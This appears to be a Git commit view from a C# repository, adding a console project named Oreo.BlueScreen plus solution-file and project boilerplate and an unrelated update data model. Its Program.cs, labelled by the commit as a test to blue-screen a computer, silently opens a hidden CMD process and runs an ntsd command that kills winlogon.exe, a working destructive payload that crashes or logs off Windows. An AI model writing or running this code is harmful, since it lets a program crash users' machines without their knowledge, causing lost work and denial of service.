浏览代码

测试计算机蓝屏执行cmd

yuzhengyang 8 年之前
父节点
当前提交
8c58584738

二进制
Fork.Net/.vs/Fork.Net/v15/sqlite3/storage.ide


+ 16 - 2
Fork.Net/Fork.Net.sln

@@ -1,7 +1,7 @@
 
 Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio 14
-VisualStudioVersion = 14.0.25420.1
+# Visual Studio 15
+VisualStudioVersion = 15.0.26730.12
 MinimumVisualStudioVersion = 10.0.40219.1
 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Fork.Net", "Fork.Net\Fork.Net.csproj", "{A8EBC472-2AF6-41B1-B1A0-C4D28D165C02}"
 EndProject
@@ -55,6 +55,8 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Y.FileQueryEngine", "Fork.N
 EndProject
 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Oreo.FaultLog", "Oreo.Plugins\Oreo.FaultLog\Oreo.FaultLog.csproj", "{90C5C3EC-FE0F-46CA-9388-17E9C8AD7B6C}"
 EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Oreo.BlueScreen", "Oreo.Plugins\Oreo.BlueScreen\Oreo.BlueScreen.csproj", "{FF40B0B8-4159-419A-9FE2-7FC095D912A6}"
+EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
 		Debug|Any CPU = Debug|Any CPU
@@ -223,6 +225,14 @@ Global
 		{90C5C3EC-FE0F-46CA-9388-17E9C8AD7B6C}.Release|Any CPU.Build.0 = Release|Any CPU
 		{90C5C3EC-FE0F-46CA-9388-17E9C8AD7B6C}.Release|x86.ActiveCfg = Release|Any CPU
 		{90C5C3EC-FE0F-46CA-9388-17E9C8AD7B6C}.Release|x86.Build.0 = Release|Any CPU
+		{FF40B0B8-4159-419A-9FE2-7FC095D912A6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{FF40B0B8-4159-419A-9FE2-7FC095D912A6}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{FF40B0B8-4159-419A-9FE2-7FC095D912A6}.Debug|x86.ActiveCfg = Debug|Any CPU
+		{FF40B0B8-4159-419A-9FE2-7FC095D912A6}.Debug|x86.Build.0 = Debug|Any CPU
+		{FF40B0B8-4159-419A-9FE2-7FC095D912A6}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{FF40B0B8-4159-419A-9FE2-7FC095D912A6}.Release|Any CPU.Build.0 = Release|Any CPU
+		{FF40B0B8-4159-419A-9FE2-7FC095D912A6}.Release|x86.ActiveCfg = Release|Any CPU
+		{FF40B0B8-4159-419A-9FE2-7FC095D912A6}.Release|x86.Build.0 = Release|Any CPU
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE
@@ -247,5 +257,9 @@ Global
 		{E1897235-0E04-420D-B6D5-29BEA14DA1FD} = {A89FC45A-A907-4487-8719-114530A62684}
 		{497F570C-8398-458D-970C-DFA3DD9FE746} = {FA0F1046-E0E8-4057-B4B4-CD551844A29B}
 		{90C5C3EC-FE0F-46CA-9388-17E9C8AD7B6C} = {E53B3662-A5FD-4D4C-AFF6-1DC9FF24EA16}
+		{FF40B0B8-4159-419A-9FE2-7FC095D912A6} = {E53B3662-A5FD-4D4C-AFF6-1DC9FF24EA16}
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {5436696D-5F55-490A-AB40-050B54BE2AB4}
 	EndGlobalSection
 EndGlobal

+ 47 - 0
Fork.Net/Oreo.Plugins/Oreo.BlueScreen/Oreo.BlueScreen.csproj

@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{FF40B0B8-4159-419A-9FE2-7FC095D912A6}</ProjectGuid>
+    <OutputType>Exe</OutputType>
+    <RootNamespace>Oreo.BlueScreen</RootNamespace>
+    <AssemblyName>Oreo.BlueScreen</AssemblyName>
+    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
+    <FileAlignment>512</FileAlignment>
+    <TargetFrameworkProfile />
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Data" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Program.cs" />
+    <Compile Include="Properties\AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="app.config" />
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+</Project>

+ 43 - 0
Fork.Net/Oreo.Plugins/Oreo.BlueScreen/Program.cs

@@ -0,0 +1,43 @@
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Text;
+
+namespace Oreo.BlueScreen
+{
+    class Program
+    {
+        static void Main(string[] args)
+        {
+
+            string cmd = "ntsd -c q -pn winlogon.exe 1>nul 2>nul";
+
+            Process p = new Process();  // 初始化新的进程
+            p.StartInfo.FileName = "CMD.EXE"; //创建CMD.EXE 进程
+            p.StartInfo.RedirectStandardInput = true; //重定向输入
+            p.StartInfo.RedirectStandardOutput = true;//重定向输出
+            p.StartInfo.UseShellExecute = false; // 不调用系统的Shell
+            p.StartInfo.RedirectStandardError = true; // 重定向Error
+            p.StartInfo.CreateNoWindow = true; //不创建窗口
+            p.Start(); // 启动进程
+
+            p.StandardInput.WriteLine(cmd + "&exit"); // Cmd 命令
+
+            StreamReader reader = p.StandardOutput;//截取输出流
+            string lines = "";
+            int i = 0;
+            while (!reader.EndOfStream)
+            {
+                string line = reader.ReadLine();//每次读取一行
+                if (line != "")
+                {
+
+                    lines += "<" + line;
+                    i++;
+                }
+            }
+            p.WaitForExit();  // 等待退出
+        }
+    }
+}

+ 36 - 0
Fork.Net/Oreo.Plugins/Oreo.BlueScreen/Properties/AssemblyInfo.cs

@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// 有关程序集的一般信息由以下
+// 控制。更改这些特性值可修改
+// 与程序集关联的信息。
+[assembly: AssemblyTitle("Oreo.BlueScreen")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("Oreo.BlueScreen")]
+[assembly: AssemblyCopyright("Copyright ©  2017")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// 将 ComVisible 设置为 false 会使此程序集中的类型
+//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
+//请将此类型的 ComVisible 特性设置为 true。
+[assembly: ComVisible(false)]
+
+// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
+[assembly: Guid("ff40b0b8-4159-419a-9fe2-7fc095d912a6")]
+
+// 程序集的版本信息由下列四个值组成: 
+//
+//      主版本
+//      次版本
+//      生成号
+//      修订号
+//
+// 可以指定所有值,也可以使用以下所示的 "*" 预置版本号和修订号
+// 方法是按如下所示使用“*”: :
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]

+ 3 - 0
Fork.Net/Oreo.Plugins/Oreo.BlueScreen/app.config

@@ -0,0 +1,3 @@
+<?xml version="1.0" encoding="utf-8"?>
+<configuration>
+<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/></startup></configuration>

+ 28 - 0
Fork.Net/Test/Y.Test/Models/UpdateModel.cs

@@ -0,0 +1,28 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Y.Test.Models
+{
+    public class UpdateModel
+    {
+        public string platformVersion { get; set; }
+
+        public List<UpdateContent> list { get; set; }
+    }
+    public class UpdateContent
+    {
+        public string md5 { get; set; }
+
+        public int id { get; set; }
+
+        public int pid { get; set; }
+
+        public string fileName { get; set; }
+
+        public string parent { get; set; }
+
+        public string lastModify { get; set; }
+    }
+}

+ 1 - 0
Fork.Net/Test/Y.Test/Y.Test.csproj

@@ -85,6 +85,7 @@
   </ItemGroup>
   <ItemGroup>
     <Compile Include="Commons\R.cs" />
+    <Compile Include="Models\UpdateModel.cs" />
     <Compile Include="Models\WebAPIMessageModel.cs" />
     <Compile Include="Program.cs" />
     <Compile Include="Properties\AssemblyInfo.cs" />